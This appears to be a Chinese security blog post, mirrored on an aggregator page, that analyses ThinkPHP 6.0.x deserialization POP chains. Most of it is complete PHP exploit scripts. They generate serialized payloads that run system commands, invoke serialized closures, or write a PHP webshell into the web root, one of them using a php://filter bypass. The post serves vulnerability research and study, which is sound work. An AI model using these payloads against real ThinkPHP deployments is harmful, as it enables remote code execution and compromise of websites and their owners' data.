zoukankan      html  css  js  c++  java
  • thinkphp 6.0.x pop链

    pop1

    thinkphp v5.2.x 反序列化利用链挖掘
    thinkphp v6.0.x 反序列化利用链挖掘

    thinkModel->__destruct()

    /vendor/topthink/think-orm/src/Model.php

    __destruct()
    $this->save()
    $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
    $allowFields = $this->checkAllowFields();
    $query = $this->db();
    

    终于看到字符串拼接

    $query = self::$db->connect($this->connection)
                ->name($this->name . $this->suffix)
                ->pk($this->pk);
    

    thinkmodelconcernConversion->__toString()

    vendor/topthink/think-orm/src/model/concern/Conversion.php

    __toString()
    $this->toJson()
    json_encode($this->toArray(), $options);
    
    elseif (!isset($this->hidden[$key]) && !$hasVisible) {
        $item[$key] = $this->getAttr($key);
    }
    
    return $this->getValue($name, $value, $relation);
    
    $value   = $closure($value, $this->data);
    

    可以动态调用函数,但是参数是有限制的,接下来一种方法是找能用的php函数,一种是利用OpisClosure调用匿名函数

    method1

    system函数可以传递两个参数,第二个参数接收外部命令执行后的返回状态,不会影响执行,所以可以直接getshell

    <?php
    namespace thinkmodelconcern;
    trait Conversion
    {
    }
    
    trait Attribute
    {
        private $data = ["sy1j" => "dir"];
        private $withAttr = ["sy1j" => "system"];
    }
    
    namespace think;
    abstract class Model{
        use modelconcernAttribute;
        use modelconcernConversion;
        private $lazySave = true;
        protected $withEvent = false;
        private $exists = true;
        private $force = true;
        protected $field = [];
        protected $schema = [];
        protected $connection='mysql';
        protected $name;
        protected $suffix = '';
    
    }
    
    namespace thinkmodel;
    use thinkModel;
    
    class Pivot extends Model
    {
        function __construct($obj = '')
        {
            $this->name = $obj;
        }
    }
    $a = new Pivot();
    $b = new Pivot($a);
    
    echo urlencode(base64_encode(serialize($b)));
    

    method2

    OpisClosure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)调用执行。

    <?php
    
    namespace OpisClosure;
    include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/SerializableClosure.php";
    include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ClosureScope.php";
    include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ReflectionClosure.php";
    include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ClosureStream.php";
    
    
    namespace thinkmodelconcern;
    trait Conversion
    {
    }
    
    trait Attribute
    {
        private $data = ["sy1j" => "dir"];
        private $withAttr;
        public function setAttr($closure){
            $this->withAttr = $closure;
        }
    }
    
    namespace think;
    abstract class Model{
        use modelconcernAttribute;
        use modelconcernConversion;
        private $lazySave = true;
        protected $withEvent = false;
        private $exists = true;
        private $force = true;
        protected $field = [];
        protected $schema = [];
        protected $connection='mysql';
        protected $name;
        protected $suffix = '';
    
    }
    
    namespace thinkmodel;
    use thinkModel;
    
    class Pivot extends Model
    {
        function __construct($obj = '', $closure="system")
        {
            $this->name = $obj;
            $this->setAttr(["sy1j"=>$closure]);
        }
    }
    $a = new Pivot();
    $func = function(){phpinfo();};
    $closure = new OpisClosureSerializableClosure($func);
    $b = new Pivot($a, $closure);
    
    echo urlencode(base64_encode(serialize($b)));
    

    pop2

    ThinkPHP 6.x反序列化POP链(二)

    LeagueFlysystemCachedStorageAbstractCache->__destruct

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }
    

    因为是抽象类,所以要find usages,找到thinkfilesystemCacheStore

    public function save()
    {
        $contents = $this->getForStorage();
    
        $this->store->set($this->key, $contents, $this->expire);
    }
    

    store可控,可以走__call,也可以直接找实现set方法的类,找到thinkcachedriverFile->set()

    $data = $this->serialize($value);
    

    serialize函数可以直接利用

    protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }
    
        $serialize = $this->options['serialize'][0] ?? "serialize";
    
        return $serialize($data);
    }
    

    不过最$data的来源是$value$value来自CacheStore->save()里的$content,如下得到,所以内容是经过了json_encode

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);
    
        return json_encode([$cleaned, $this->complete]);
    }
    

    要执行命令必须使用反引号或者windows下&

    exp

    <?php
    
    namespace LeagueFlysystemCachedStorage {
        abstract class AbstractCache
        {
            protected $autosave = false;
    //        protected $complete = "`id`";
            protected $complete = ""&dir&";
    // 在Windows环境中反引号无效,用&替代
        }
    }
    
    namespace thinkfilesystem {
    
        use LeagueFlysystemCachedStorageAbstractCache;
    
        class CacheStore extends AbstractCache
        {
            protected $key = "1";
            protected $store;
    
            public function __construct($store = "")
            {
                $this->store = $store;
            }
        }
    }
    
    namespace thinkcache {
        abstract class Driver
        {
            protected $options = ["serialize" => ["system"], "expire" => 1, "prefix" => "1", "hash_type" => "sha256", "cache_subdir" => "1", "path" => "1"];
        }
    }
    
    namespace thinkcachedriver {
    
        use thinkcacheDriver;
    
        class File extends Driver
        {
        }
    }
    
    namespace {
        $file = new thinkcachedriverFile();
        $cache = new thinkfilesystemCacheStore($file);
        echo base64_encode(serialize($cache));
    }
    ?>
    

    写shell

    也可以再往下走两行,会有

    $data   = "<?php
    //" . sprintf('%012d', $expire) . "
     exit();?>
    " . $data;
    $result = file_put_contents($filename, $data);
    

    经典“死亡exit”,比较简单的,伪协议绕绕就行了,最后文件名是$key的md5

    <?php
    namespace LeagueFlysystemCachedStorage{
        abstract class AbstractCache
        {
            protected $autosave = false;
            protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";
        }
    }
    namespace thinkfilesystem{
        use LeagueFlysystemCachedStorageAbstractCache;
        class CacheStore extends AbstractCache
        {
            protected $key = "1";
            protected $store;
            public function __construct($store="")
            {
                $this->store = $store;
            }
        }
    }
    namespace thinkcache{
        abstract class Driver
        {
            protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=d:/xampp/htdocs/tp6/public/","data_compress"=>0];
        }
    }
    // 路径最好写成绝对路径
    namespace thinkcachedriver{
        use thinkcacheDriver;
        class File extends Driver{}
    }
    namespace{
        $file = new thinkcachedriverFile();
        $cache = new thinkfilesystemCacheStore($file);
        echo base64_encode(serialize($cache));
    }
    ?>
    

    pop3

    和上面差不多,写shell

    <?php
    namespace LeagueFlysystemCachedStorage{
        abstract class AbstractCache
        {
            protected $autosave = false;
            protected $cache = ["<?php phpinfo(); ?>"];
        }
    
        class Adapter extends AbstractCache
        {
            protected $file;
            protected $adapter;
            protected $expire;
            public function __construct($adapter="")
            {
                $this->file = "d:/xampp/htdocs/tp6/public/shell.php";
    // 需要根据系统以及配置修改路径写法
                $this->adapter = $adapter;
            }
        }
    }
    namespace LeagueFlysystemAdapter{
        class Local
        {
            protected $writeFlags = 0;
        }
    }
    namespace{
        $local = new LeagueFlysystemAdapterLocal();
        $cache = new LeagueFlysystemCachedStorageAdapter($local);
        echo urlencode(base64_encode(serialize($cache)));
    //    echo serialize($cache);
    }
    ?>
    
  • 相关阅读:
    MethodNotAllowedHttpException
    laravel项目return back()->withErrors($validator)或return back()->with('errors','原密码错误!')在前台原密码错误的情况下不能正确显示错误信息,变成报错!
    laravel加入验证码类几种方法 && Laravel引入第三方库的方法
    使用Git命令从Github下载代码仓库
    4-ESP8266 SDK开发基础入门篇--串口
    2-STM32+W5500+GPRS物联网开发基础篇-基础篇学习的内容
    3-ESP8266 SDK开发基础入门篇--点亮一个灯
    2-ESP8266 SDK开发基础入门篇--非RTOS版与RTOS版
    1-ESP8266 SDK开发基础入门篇--开发环境搭建
    11-网页,网站,微信公众号基础入门(配置自己的微信公众号,添加一个按钮)
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/13639789.html
Copyright © 2011-2022 走看看